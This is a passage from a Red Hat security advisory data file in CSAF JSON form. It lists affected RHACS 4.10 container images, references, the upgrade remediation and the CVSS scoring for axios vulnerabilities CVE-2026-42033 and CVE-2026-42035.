"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"category": "external",
"summary": "RHBZ#2461607",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461607"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
}
],
"release_date": "2026-04-24T17:36:44.132000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution"
},
{
"cve": "CVE-2026-42035",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T18:01:17.109481+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
